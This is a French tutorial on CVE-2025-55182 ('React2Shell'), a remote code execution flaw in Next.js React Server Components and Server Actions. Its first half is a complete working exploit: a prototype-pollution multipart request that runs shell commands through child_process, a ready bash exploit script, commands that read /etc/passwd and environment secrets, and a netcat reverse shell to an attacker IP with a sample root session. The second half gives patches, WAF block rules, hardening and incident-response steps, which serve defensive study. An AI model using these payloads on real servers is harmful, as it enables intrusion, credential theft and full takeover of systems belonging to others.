
CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js utilisant React Server Components (RSC) et Server Actions.
⚠️ Avertissement : Cette documentation est fournie uniquement à des fins éducatives et de recherche en sécurité. Toute utilisation non autorisée de ces techniques contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test est illégale.
CVE-2025-55182, également connue sous le nom de React2Shell, est une vulnérabilité critique affectant les applications Next.js qui utilisent :
Un attaquant peut obtenir une exécution de code à distance (RCE) sur le serveur en exploitant :
__proto__ et constructorConséquence : Des commandes système arbitraires peuvent être exécutées avec les privilèges du processus Node.js.
Next.js utilise un protocole propriétaire multipart/form-data pour communiquer entre le client et le serveur :
Client (Browser)
↓
[multipart/form-data RSC payload]
↓
Next.js Server
↓
Deserialization + Execution
↓
Response
La vulnérabilité existe parce que :
__proto__, constructor)Un attaquant peut créer une charge utile qui modifie les propriétés internes des objets :
{
"then": "$1:__proto__:then", // Targets the prototype chain
"_response": {
"_prefix": "malicious code here" // Code injection
}
}
En exploitant __proto__, l'attaquant pollue le prototype des objets JavaScript, affectant tous les objets qui en héritent.
Dans le champ _prefix, l'attaquant injecte du code JavaScript qui :
process.mainModule.require()child_processexecSync()var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();
Le résultat de la commande est caché dans la réponse d'erreur :
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});
Next.js renvoie cette erreur au client, et la sortie de la commande est visible dans le champ digest.
# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182
# Install Node.js 20
nvm install 20
nvm use 20
# Install dependencies
cd test-server
npm install
npm run dev
Le serveur est maintenant accessible à l'adresse :
http://localhost:3000
curl http://localhost:3000/
À ce stade, le serveur se comporte normalement.
http://localhost:3000/ dans votre navigateurUne requête GET sera interceptée. Envoyez-la dans l'onglet Repeater :
Remplacez toute la requête par la charge utile suivante :
POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Cliquez sur Send.
Créez un fichier exploit.sh :
#!/bin/bash
TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"
# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)
# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"
# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
-H "Next-Action: x" \
-H "X-Nextjs-Request-Id: b5dce965" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
--data-raw "$PAYLOAD"
Rendez-le exécutable :
chmod +x exploit.sh
./exploit.sh
COMMAND="ls -la /"
COMMAND="whoami"
COMMAND="cat /etc/passwd"
COMMAND="netstat -tuln"
COMMAND="env"
Pour obtenir un accès shell interactif complet, utilisez un reverse shell.
ncat -lvnp 9009
Ou avec netcat :
nc -lvnp 9009
Modifiez la charge utile avec la commande suivante (remplacez <ATTACKER_IP> par votre adresse IP) :
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"
La charge utile complète devient :
POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
❯ ncat -lvnp 9009
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9009
Ncat: Listening on 0.0.0.0:9009
Ncat: Connection from 10.100.0.169:51438.
sh: no job control in this shell
sh-3.2$ ls
bin boot dev etc home lib ...
sh-3.2$ whoami
root
sh-3.2$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
Vous disposez maintenant d'un shell entièrement interactif sur le serveur cible.
En cas d'exploitation réussie :
digest de la réponse d'erreurError: NEXT_REDIRECT
digest: uid=33(www-data) gid=33(www-data) groups=33(www-data)
npm install next@latest
Assurez-vous d'exécuter une version corrigée de Next.js. Consultez les avis de sécurité officiels.
Ajoutez une validation stricte des charges utiles RSC entrantes :
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
export function middleware(request: NextRequest) {
// Reject suspicious payloads
if (request.headers.get('content-type')?.includes('multipart/form-data')) {
const bodyString = request.body?.toString() || '';
// Block payloads containing dangerous patterns
if (bodyString.includes('__proto__') ||
bodyString.includes('constructor') ||
bodyString.includes('child_process')) {
console.error(`[SECURITY] Malicious payload attempt from ${request.ip}`);
return new NextResponse('Forbidden', { status: 403 });
}
}
return NextResponse.next();
}
export const config = {
matcher: ['/:path*']
};
Dans next.config.js :
module.exports = {
experimental: {
serverActions: {
enabled: false // Disable if not needed
}
}
};
# Create a dedicated user
useradd -r -s /bin/false nextjs
# Run the service under this user
sudo -u nextjs node server.js
# Or with systemd
# /etc/systemd/system/nextjs.service
[Service]
User=nextjs
Group=nextjs
ExecStart=/usr/bin/node /app/server.js
Utilisez Docker avec des capacités restreintes :
FROM node:20-alpine
# Create non-root user
RUN addgroup -g 1001 -S nodejs
RUN adduser -S nextjs -u 1001
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production
COPY . .
USER nextjs
EXPOSE 3000
CMD ["node", "server.js"]
Exécutez le conteneur avec des capacités restreintes :
docker run \
--cap-drop=ALL \
--cap-add=NET_BIND_SERVICE \
-u nextjs:nextjs \
--security-opt=no-new-privileges \
--read-only \
--tmpfs /tmp \
my-nextjs-app
Mettez en œuvre une journalisation complète :
// Custom logging middleware
app.use((req, res, next) => {
// Log all POST requests with Next-Action header
if (req.method === 'POST' && req.headers['next-action']) {
const suspiciousPatterns = ['__proto__', 'constructor', 'execSync', 'child_process'];
const bodyString = JSON.stringify(req.body);
const isSuspicious = suspiciousPatterns.some(pattern => bodyString.includes(pattern));
if (isSuspicious) {
console.error(`[SECURITY_ALERT] Exploit attempt detected from ${req.ip}`);
console.error(`[SECURITY_ALERT] User-Agent: ${req.get('user-agent')}`);
console.error(`[SECURITY_ALERT] Payload: ${bodyString.substring(0, 500)}`);
// Alert security team
// sendSecurityAlert(`Exploit attempt from ${req.ip}`);
return res.status(403).json({ error: 'Forbidden' });
}
}
next();
});
Configurez votre WAF pour bloquer :
Règles ModSecurity :
# Block __proto__ in request body
SecRule REQUEST_BODY "@contains __proto__" \
"id:1001,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block constructor in request body
SecRule REQUEST_BODY "@contains constructor" \
"id:1002,phase:2,deny,status:403,msg:'Prototype Pollution Attack'"
# Block child_process module access
SecRule REQUEST_BODY "@contains child_process" \
"id:1003,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block execSync function
SecRule REQUEST_BODY "@contains execSync" \
"id:1004,phase:2,deny,status:403,msg:'Code Execution Attempt'"
# Block require() statements
SecRule REQUEST_BODY "@rx require\s*\(" \
"id:1005,phase:2,deny,status:403,msg:'Module Loading Attempt'"
Exemple AWS WAF :
{
"Name": "BlockRCEAttempts",
"Rules": [
{
"Name": "BlockProtoPolluton",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"FieldToMatch": { "Body": {} },
"TextTransformations": [{ "Priority": 0, "Type": "LOWERCASE" }],
"PositionalConstraint": "CONTAINS",
"SearchString": "__proto__"
}
},
"Action": { "Block": {} },
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "BlockProtoPolluton"
}
}
]
}
Bien que le CSP protège principalement côté client, c'est une bonne pratique :
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
next();
});
# Scan dependencies for vulnerabilities
npm audit
npm audit fix
# Use snyk for continuous monitoring
snyk monitor
# Regular penetration testing
# Schedule quarterly security assessments
Si vous suspectez une exploitation :
# 1. Check logs for suspicious patterns
grep -r "__proto__" /var/log/
grep -r "child_process" /var/log/
grep -r "execSync" /var/log/
# 2. Check process history
ps aux | grep node
history | grep -E "(nc|ncat|bash)"
# 3. Check network connections
netstat -tuln
lsof -i -P -n
# 4. Isolate the affected system
sudo iptables -I INPUT -j DROP
# 5. Preserve evidence and logs
tar -czf /backup/incident-$(date +%Y%m%d).tar.gz /var/log/
# 6. Notify your security team and apply patches
{
// Step 1: Target the prototype chain
"then": "$1:__proto__:then",
// Step 2: Mark as resolved model
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
// Step 3: Inject code through _response
"_response": {
// The injected JavaScript code
"_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
// Reference to form data
"_chunks": "$Q2",
// Access constructor through form data
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
$1 sont résolues vers d'autres champs du formulaire__proto__ modifie le prototype de l'objet_prefix est évalué lors de la gestion des erreursexecSync exécute la commande arbitraireCVE-2025-55182 (React2Shell) démontre les risques critiques associés à :
✅ La désérialisation non sécurisée de données contrôlées par l'utilisateur ✅ La pollution de prototype dans les chaînes de prototypes JavaScript ✅ L'exécution dynamique de code sans validation appropriée
Cette vulnérabilité renforce l'importance de :
Licence : Usage éducatif uniquement - L'accès non autorisé à des systèmes informatiques est illégal.
Pour toute recherche de sécurité légitime et tout test autorisé, assurez-vous d'obtenir l'autorisation écrite du propriétaire du système avant d'effectuer des tests.